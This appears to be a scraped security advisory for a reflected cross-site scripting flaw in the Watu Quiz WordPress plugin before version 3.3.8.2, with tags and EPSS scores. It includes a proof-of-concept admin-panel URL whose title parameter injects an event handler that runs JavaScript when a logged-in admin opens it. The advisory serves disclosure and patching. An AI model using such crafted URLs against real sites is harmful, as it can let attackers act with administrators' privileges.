Watu Quiz < 3.3.8.2 - Reflected XSS

2023-01-2400:00:00

Felipe Restrepo Rodriguez

143

watu quiz

reflected xss

logged in admin

malicious url

security vulnerability

admin panel

exploit

0.001 Low

EPSS

Percentile

35.3%

JSON

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

Make a logged in admin open the following URL:

https://example.com/wp-admin/admin.php?page=watu_exams&title=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28%2FXSS%2F%29%2F%2F

0.001 Low

EPSS

Percentile

35.3%

JSON

Related for WPEX-ID:C933460B-F77D-4986-9F5A-32D9F3F8B412